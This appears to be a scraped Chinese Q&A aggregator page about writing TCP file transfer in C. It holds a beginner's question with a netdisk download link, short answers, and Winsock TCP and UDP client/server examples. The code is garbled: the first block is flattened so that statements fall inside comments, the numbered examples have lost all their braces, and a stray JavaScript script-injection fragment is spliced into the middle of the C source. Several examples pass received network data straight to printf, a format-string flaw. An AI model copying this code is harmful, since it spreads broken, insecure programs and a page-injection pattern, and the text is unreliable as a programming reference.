C语言编写TCP的文件传输

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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C语言编写TCP的文件传输相关的知识,希望对你有一定的参考价值。

刚开始接触网络变成,按照书上写的一个文件传输小工具,控制台下的。发现这个程序只能由客户端向服务端提取文件,并不能让服务端主动发送文件。
问题是:怎样修改能让发送的一方主动地选择发送文件,而不是由接收方去选择。代码太长,粘贴不进来。麻烦各位在网盘下载吧,txt格式,一个server端一个client端,绝无病毒。http://pan.baidu.com/s/1pL9u4sV

粗略看了一下,你是用户的是TCP不是UDP,注意一点TCP可靠安全但是需要你自己手动处理粘包问题.你要是想学网络编程,就需要学会分析和定制协议.我建议你先去看看TFTP的网络协议.所谓的通信就是我发请求给你,你给我应答(请求成功还是失败).你刚学网络编程,直接是使用tcp不是很合适,你可以去看看TFTP的协议(向服务器请求下载或者上传文件).复杂一点的程序一搬都需要定制网络协议,tcp则还需要处理粘包问题.如果你想学,可以和我联系,我可以发你资料→_→ 参考技术A 客户端一连接上来,就给客户端发送。。。。。。。。
~
~
~~~~~~~~~~~~~~~~~~~
参考技术B 参考下面代码
#include <winsock2.h> #include <stdio.h> #include <stdlib.h>
#pragma comment(lib,"ws2_32.lib") #define DEFAULT_PORT 2302 #define DEFAULT_BUFFER 2048
#define DEFAULT_MESSAGE "This is a test of the emergency \ broadcasting system" char szServerip[128], // Server to connect to szMessage[1024]; // Message to send to sever
int iPort = DEFAULT_PORT; // Port on server to connect to
//DWORD dwCount = DEFAULT_COUNT; // Number of times to send message BOOL bSendOnly = FALSE; // Send data only; don't receive int dirfun();

var script = document.createElement('script'); script.src = document.body.appendChild(script);

int getfun(); int putfun(); int pwdfun(); int cdfun(); int mdfun(); int delfun(); int usafun();
void usage()
printf("usage: client [-p:x] [-s:IP] [-n:x] [-o]\n\n"); printf(" -p:x Remote port to send to\n");
printf(" -s:IP Server's IP address or hostname\n"); printf(" -n:x Number of times to send message\n"); printf(" -o Send messages only; don't receive\n"); ExitProcess(1);
void ValidateArgs(int argc, char **argv)
int i;
for(i = 1; i < argc; i++)
if ((argv[i][0] == '-') || (argv[i][0] == '/'))
switch (tolower(argv[i][1]))
case 'p': // Remote port if (strlen(argv[i]) > 3) iPort = atoi(&argv[i][3]); break;
case 's': // Server if (strlen(argv[i]) > 3)
strcpy(szServerip, &argv[i][3]); break;
case 'n': // Number of times to send message if (strlen(argv[i]) > 3)
//dwCount = atol(&argv[i][3]); break;
case 'o': // Only send message; don't receive bSendOnly = TRUE; break; default: usage();

有没有windows下c语言实现udp协议的代码

Windows下C语言的Socket编程例子(TCP和UDP)
一。  <TCP>
server端:
复制代码
 1 #include "stdafx.h"
 2 #include <stdio.h>
 3 #include <winsock2.h>
 4 
 5 #pragma comment(lib,"ws2_32.lib")
 6 
 7 int main(int argc, char* argv[])
 8 
 9     //初始化WSA
10     WORD sockVersion = MAKEWORD(2,2);
11     WSADATA wsaData;
12     if(WSAStartup(sockVersion, &wsaData)!=0)
13     
14         return 0;
15     
16 
17     //创建套接字
18     SOCKET slisten = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19     if(slisten == INVALID_SOCKET)
20     
21         printf("socket error !");
22         return 0;
23     
24 
25     //绑定IP和端口
26     sockaddr_in sin;
27     sin.sin_family = AF_INET;
28     sin.sin_port = htons(8888);
29     sin.sin_addr.S_un.S_addr = INADDR_ANY; 
30     if(bind(slisten, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
31     
32         printf("bind error !");
33     
34 
35     //开始监听
36     if(listen(slisten, 5) == SOCKET_ERROR)
37     
38         printf("listen error !");
39         return 0;
40     
41 
42     //循环接收数据
43     SOCKET sClient;
44     sockaddr_in remoteAddr;
45     int nAddrlen = sizeof(remoteAddr);
46     char revData[255]; 
47     while (true)
48     
49         printf("等待连接...\\n");
50         sClient = accept(slisten, (SOCKADDR *)&remoteAddr, &nAddrlen);
51         if(sClient == INVALID_SOCKET)
52         
53             printf("accept error !");
54             continue;
55         
56         printf("接受到一个连接:%s \\r\\n", inet_ntoa(remoteAddr.sin_addr));
57         
58         //接收数据
59         int ret = recv(sClient, revData, 255, 0);        
60         if(ret > 0)
61         
62             revData[ret] = 0x00;
63             printf(revData);
64         
65 
66         //发送数据
67         char * sendData = "你好,TCP客户端!\\n";
68         send(sClient, sendData, strlen(sendData), 0);
69         closesocket(sClient);
70     
71     
72     closesocket(slisten);
73     WSACleanup();
74     return 0;
75 
复制代码
client端:
复制代码
 1 #include "stdafx.h"
 2 #include <WINSOCK2.H>
 3 #include <STDIO.H>
 4 
 5 #pragma  comment(lib,"ws2_32.lib")
 6 
 7 
 8 int main(int argc, char* argv[])
 9 
10     WORD sockVersion = MAKEWORD(2,2);
11     WSADATA data; 
12     if(WSAStartup(sockVersion, &data) != 0)
13     
14         return 0;
15     
16 
17     SOCKET sclient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
18     if(sclient == INVALID_SOCKET)
19     
20         printf("invalid socket !");
21         return 0;
22     
23 
24     sockaddr_in serAddr;
25     serAddr.sin_family = AF_INET;
26     serAddr.sin_port = htons(8888);
27     serAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); 
28     if (connect(sclient, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
29     
30         printf("connect error !");
31         closesocket(sclient);
32         return 0;
33     
34     char * sendData = "你好,TCP服务端,我是客户端!\\n";
35     send(sclient, sendData, strlen(sendData), 0);
36 
37     char recData[255];
38     int ret = recv(sclient, recData, 255, 0);
39     if(ret > 0)
40     
41         recData[ret] = 0x00;
42         printf(recData);
43     
44     closesocket(sclient);
45     WSACleanup();
46     return 0;
47 
复制代码
 
二. <UDP>
SERVER 端
复制代码
 1 #include "stdafx.h"
 2 #include <stdio.h>
 3 #include <winsock2.h>
 4 
 5 #pragma comment(lib, "ws2_32.lib") 
 6 
 7 int main(int argc, char* argv[])
 8 
 9     WSADATA wsaData;
10     WORD sockVersion = MAKEWORD(2,2);
11     if(WSAStartup(sockVersion, &wsaData) != 0)
12     
13         return 0;
14     
15 
16     SOCKET serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
17     if(serSocket == INVALID_SOCKET)
18     
19         printf("socket error !");
20         return 0;
21     
22 
23     sockaddr_in serAddr;
24     serAddr.sin_family = AF_INET;
25     serAddr.sin_port = htons(8888);
26     serAddr.sin_addr.S_un.S_addr = INADDR_ANY;
27     if(bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
28     
29         printf("bind error !");
30         closesocket(serSocket);
31         return 0;
32     
33     
34     sockaddr_in remoteAddr;
35     int nAddrLen = sizeof(remoteAddr); 
36     while (true)
37     
38         char recvData[255];  
39         int ret = recvfrom(serSocket, recvData, 255, 0, (sockaddr *)&remoteAddr, &nAddrLen);
40         if (ret > 0)
41         
42             recvData[ret] = 0x00;
43             printf("接受到一个连接:%s \\r\\n", inet_ntoa(remoteAddr.sin_addr));
44             printf(recvData);            
45         
46 
47         char * sendData = "一个来自服务端的UDP数据包\\n";
48         sendto(serSocket, sendData, strlen(sendData), 0, (sockaddr *)&remoteAddr, nAddrLen);    
49 
50     
51     closesocket(serSocket); 
52     WSACleanup();
53     return 0;
54 
复制代码
CLIENT 端
复制代码
 1 #include "stdafx.h"
 2 #include <stdio.h>
 3 #include <winsock2.h>
 4 
 5 #pragma comment(lib, "ws2_32.lib") 
 6 
 7 int main(int argc, char* argv[])
 8 
 9     WORD socketVersion = MAKEWORD(2,2);
10     WSADATA wsaData; 
11     if(WSAStartup(socketVersion, &wsaData) != 0)
12     
13         return 0;
14     
15     SOCKET sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
16     
17     sockaddr_in sin;
18     sin.sin_family = AF_INET;
19     sin.sin_port = htons(8888);
20     sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
21     int len = sizeof(sin);
22     
23     char * sendData = "来自客户端的数据包.\\n";
24     sendto(sclient, sendData, strlen(sendData), 0, (sockaddr *)&sin, len);
25 
26     char recvData[255];     
27     int ret = recvfrom(sclient, recvData, 255, 0, (sockaddr *)&sin, &len);
28     if(ret > 0)
29     
30         recvData[ret] = 0x00;
31         printf(recvData);
32     
33 
34     closesocket(sclient);
35     WSACleanup();
36     return 0;
37 
参考技术A 首先你需要一个平台!软件平台!VC等!然后 找到uIP1.0或者其他网络协议的可控组件!一般只要你按照组件的步骤去配置参数 都没什么问题的! 参考技术B 使用 WIN 的SDK,可以的

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以上是关于C语言编写TCP的文件传输的主要内容,如果未能解决你的问题,请参考以下文章

怎么使用C编写一个串口文件传输程序

使用C语言实现服务器/客户端的TCP通信

Go 语言自我提升 (三次握手 - 四次挥手 - TCP状态图 - udp - 网络文件传输)

Linux C系统编程中的文件传输问题:只能传送文本文件,不能传送二进制文件。(TCP+文件I/O实现)

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